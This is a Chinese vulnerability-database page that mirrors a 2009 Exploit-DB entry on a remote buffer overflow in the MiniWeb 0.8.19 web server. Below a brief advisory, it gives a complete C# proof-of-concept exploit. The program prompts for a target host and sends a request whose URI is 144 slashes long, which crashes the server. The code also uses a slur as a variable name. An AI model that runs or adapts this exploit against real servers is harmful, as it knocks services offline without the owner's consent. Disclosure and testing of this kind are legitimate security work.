MiniWeb 0.8.19 - Remote Buffer Overflow

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1057688 漏洞类型
发布时间 2009-04-16 更新时间 2009-04-16
CVE编号 N/A CNNVD-ID N/A
漏洞平台 Windows CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/32923
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/34563/info

MiniWeb is prone to a remote buffer-overflow vulnerability.

An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

/* BoF when requesting URI longer than 120~ */

using System;
using System.IO;
using System.Net;
using System.Text;

namespace idiot
{
    class pf
    {
        static void Main(string[] args)
        {
            Console.Write("Enter host:\n");
            string site = Console.ReadLine();
            string uri = null;
            try
            {
                for (int i = 0; i < 144; i++) { uri += "/"; }
                HttpWebRequest request = (HttpWebRequest)
                    HttpWebRequest.Create(site + uri);
                HttpWebResponse response = (HttpWebResponse)

                    request.GetResponse();

                //any response we get means that exploit failed
                if (response.GetResponseHeader("Content-Lenght") != "a")
                {
                    Console.WriteLine("Exploit failed");
                }

            }
            catch (Exception gayexception)
            {
                Console.WriteLine("Cannot connect");
                Console.WriteLine("{0}", gayexception.Message);
            }
        }
    }
}